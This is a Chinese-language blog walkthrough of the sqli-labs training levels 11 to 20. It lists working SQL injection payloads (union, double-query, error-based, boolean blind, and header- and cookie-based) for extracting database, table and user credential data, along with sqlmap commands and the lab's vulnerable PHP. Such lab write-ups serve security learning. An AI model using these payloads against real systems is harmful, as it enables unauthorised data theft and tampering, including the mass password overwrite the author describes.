sqli-labs(11-20)

Less-11

手工注入

1.開始為post類型的注入,先加個單引號,報錯如下。


構(gòu)造出SQL語句應(yīng)該為:select username,password from users where username=' ' ' and password=' 2' limit 0,1; 也即是password字段被單引號包含了' and password=',導(dǎo)致 出現(xiàn)2' limit 0,1;引號不匹配的情況。下圖看起來更直觀些。

2.所以,可構(gòu)造如下語句:' ##把后面的都注釋掉,然后在其前面加上自己構(gòu)造的語句。
3.先用group by 看看有多少列:' group by 1,經(jīng)過測試,共2個字段。

4.下面,開始使用聯(lián)合查詢:-1' union select 1,2 #返回正常,開始構(gòu)造語句。

5.查數(shù)據(jù)庫名:' union select 1,database() #

6.接下來查表名,構(gòu)造和Less-1類似:' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

7.查列名' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

8.查內(nèi)容:' union select group_concat(username),group_concat(password) from security.users #

OK,已經(jīng)得到想要的。

用sqlmap注入

1.首先,使用BurpSuite抓包,然后保存抓取到的內(nèi)容。例如:保存為use.txt,把它放至某個目錄下,這里為:F:/temp/use.txt。

2.首先,判斷是否存在SQL注入漏洞,python2 sqlmap.py -r F:/temp/use.txt - --batch 得到兩個注入點,如圖:

3.查詢當(dāng)前數(shù)據(jù)庫python2 sqlmap.py -r F:/temp/use.txt - --batch --current-db

4.查詢表::python2 sqlmap.py -r F:/temp/use.txt - --batch -D security --tables

5.剩下的查詢和Less-1的用法一樣,列-內(nèi)容,一個一個爆即可。


Less-12

1.加單引號,正常,加雙引號,報錯:


由圖可知,為雙引號加括號閉合。
2.構(gòu)造:") #返回正常,所以用Less-11構(gòu)造的方法構(gòu)造語句即可。即") 構(gòu)造的語句 # 不在贅述。


Less-13

1.加單引號,報錯,知道為單引號加括號閉合。


2.以為就這樣了,結(jié)果采用上面的構(gòu)造方法無用,看來沒那么簡單,應(yīng)該使用雙查詢注入了,和Less-5的構(gòu)造基本相同。
3.查數(shù)據(jù)庫,構(gòu)造如下。') or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

繼續(xù)爆其他數(shù)據(jù)庫名,改變limit n,1即可。
4.查表:') or (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

同樣,改變limit n,1即可。
5.查列名:') or (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) #

同樣,改變limit n,1即可。
6.查內(nèi)容:') or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#

同樣,改變limit n,1即可。


Less-14

1.加單引號,正常,加雙引號,報錯,可知為雙引號閉合。


2.應(yīng)該不會直接是聯(lián)合查詢了,一試,果然還是雙查詢注入。
3.構(gòu)造:" 構(gòu)造語句 # 構(gòu)造語句和less-13一樣。


Less-15

1.加單引號,只有“報錯”,應(yīng)該是要盲注,而且只能布爾型或時間型了(只知道錯了沒壓根不知道錯的信息)


2.不管,先把注入句式試出來,用萬能句型' or 1=1 or '1'='2,經(jīng)過嘗試,為單引號閉合,此時登錄成功。

3.開始布爾型盲注:構(gòu)造' or 1=(if(substr(version(),1,1)=5,1,0)) or '1'='2,其實就是把上面的1=1改成我們想要的語句,即先看看數(shù)據(jù)庫版面是否為5。因為顯示登錄成功,所以說明1=(if(substr(version(),1,1)=5,1,0))為true。
4.繼續(xù)構(gòu)造:都是把構(gòu)造好的語句替換1=1,從而查看結(jié)果。構(gòu)造和Less-6差不多,不再贅述。


Less-16

1.還是用萬能句型試,最終試出為雙引號加括號閉合,即使用") or 1=1 or "1"=("2登錄成功。
2.接下來的構(gòu)造和Less-15一樣,如") or 1=(if(substr(version(),1,1)=5,1,0)) or '1'=("2


Less-17

1.進(jìn)入頁面提示為PASSWORD RESET,即重置密碼界面,坑比較多。
2.首先,在user name中嘗試了多次,都是讓走開,后來一想,確實該走,都提示為重置密碼了,還傻傻地在user name試,應(yīng)該在new password中想辦法。后來看了其他大佬的博客后,查看源碼才知道原來對user name表單進(jìn)行了過濾:

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
            else
        {
        $value = intval($value);
        }
    return $value;

函數(shù)check_input()的作用就是檢查用戶輸入,并將用戶輸入安全化,其中的mysql_real_escape_string()會在\x00, \n, \r, \, ', " and \x1a這些字符前加入反斜線進(jìn)行轉(zhuǎn)義,防止注入,而且這個函數(shù)也避免了寬字節(jié)注入的危險。

3.當(dāng)然,還不止,new password也不是和之前一樣輕易試出注入類型,因為有user name的限制,如果new password不對,那么怎么試都自然是錯的。因為看了大佬的解題思路,知道了為單引號閉合,SQL語句為:@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";且知道有用戶名為admin(這個用戶名一般都有)。所以就直接考慮構(gòu)造了。

4.首先考慮到不能回顯有意義的信息,所以首選前面一直用的雙注入查詢 構(gòu)造如下:user name:admin ,而new password:' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

剩下的構(gòu)造不多說,和Less-13一樣,一個一個爆就好。
5.在這里,嘗試使用一種新的注入方法,基于extractvalue()updatexml()的報錯注入,詳情請看: 學(xué)習(xí)基于extractvalue()和updatexml()的報錯注入,同時,下面的注入丟默認(rèn)user name:admin
6.先使用updatexml()進(jìn)行注入,構(gòu)造為' and updatexml(1,concat('~',(select version())),1)# 獲取相應(yīng)版本:

獲取數(shù)據(jù)庫名稱:' and updatexml(1,concat('~',(select database())),1)#

獲取表名:' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#

改變limit n,1即可獲取其他表名。

獲取列名:' and updatexml(1,concat('~',(select concat(column_name,';') from information_schema.columns where table_name='emails' limit 0,1)),1)#

同樣,改變limit n,1即可。

獲取內(nèi)容:這樣,不行' and updatexml(1,concat('~',(select concat(username,';',password) from information_schema.tables where table_name='security' limit 0,1)),1)# 報錯如下:

這樣:也不行' and updatexml(1,concat('~',(select concat(username,';',password) from security.users limit 0,1)),1)# 報錯如下:

這樣:發(fā)現(xiàn)可以了,但是password成了0,一下子把所有的用戶密碼都改成了0,后面的可能就有問題了。' or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#

7.使用extractvalue(),和updatexml()十分相似,用法也差不多,甚至看起來跟直觀些。構(gòu)造:' and extractvalue(1,concat('~',(select version())))#

剩下的語句和updatexml()的類似。


Less-18

1.進(jìn)入后顯示Your IP ADDRESS is: ::1,輸入常用的注入嘗試,都只顯示:

看來和上一題一樣,都進(jìn)行了相關(guān)的過濾。
2.實在不懂,先看一下源碼:

if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

這次對兩個表單都進(jìn)行過濾了。

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "</font>";
            //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';          
            echo 'Your User Agent is: ' .$uagent;
            echo "</font>";
            echo "<br>";
            print_r(mysql_error());         
            echo "<br><br>";
            echo '<img src="../images/flag.jpg"  />';
            echo "<br>";
            
            }
        else
            {
            echo '<font color= "#0000ff" font size="3">';
            //echo "Try again looser";
            print_r(mysql_error());
            echo "</br>";           
            echo "</br>";
            echo '<img src="../images/slap.jpg"   />';  
            echo "</font>";  
            }

看到只有用戶再登陸成功后才會顯示用戶的user agent,并且將uagent, ip_address, username插入到了uagents表中。查看一下:

注意到:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
 

在插入過程中并沒有進(jìn)行過濾,由此可知,可以從uagent下手。本來ip_address也可以成功的,但是源碼中顯示被注釋掉了,回顯的只能是用戶的user agent
3.構(gòu)造uagent的內(nèi)容,使用BurpSuite對提交內(nèi)容進(jìn)行抓包,然后再修改相應(yīng)的User-Agent:


4.易知,只要保證User-Agent:字段內(nèi)容,即uagent保持單引號閉合,且使用雙查詢注入或使用extractvalue()updatexml()構(gòu)造相應(yīng)語句即可(因為是在插入語句中,只能通過報錯獲取我們想要的信息)。
5.構(gòu)造語句查詢數(shù)據(jù)庫名:
構(gòu)造一:' and updatexml(1,concat('~',(select database())),1) and '1'='1

構(gòu)造二:' and extractvalue(1,concat('~',(select database()))) and '1'='1

構(gòu)造三:' and (select 1 from (select count(*),concat(database(),';',floor(rand()*2)) as x from information_schema.tables group by x)as a) and '1'='1

6.其他構(gòu)造和之前的相似,不再贅述。


Less-19

  1. 提示為Referer,直接用我們知道的用戶名密碼都為:admin的進(jìn)行嘗試,發(fā)現(xiàn):

2.也就是說我們需要將構(gòu)造語句放入Referer: 嘗試:' and extractvalue(1,concat('~',(select database()))) and '1'='1

成功,知道方法就好了。


Less-20

1.提示為Cookie,直接用我們知道的用戶名密碼都為:admin的進(jìn)行嘗試,發(fā)現(xiàn):

2.Cookie為:uname = admin 所以構(gòu)造:uname=admin' and extractvalue(1,concat('~',(select database()))) #

3.構(gòu)造還是一樣的。


目前就先到這吧,這部分的題目都是post類型的,后面好像還有,但還是放下一篇吧。當(dāng)然,文中如有錯誤或其他更好的語句或解法,還希望諸位不吝賜教,多謝。


參考:

  1. 學(xué)習(xí)基于extractvalue()和updatexml()的報錯注入
  2. SQL注入新手教程(講的很好的內(nèi)容,之前沒發(fā)現(xiàn),現(xiàn)在才看到)
  3. It is not safe to rely on the the system's timezone settings解決方法

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容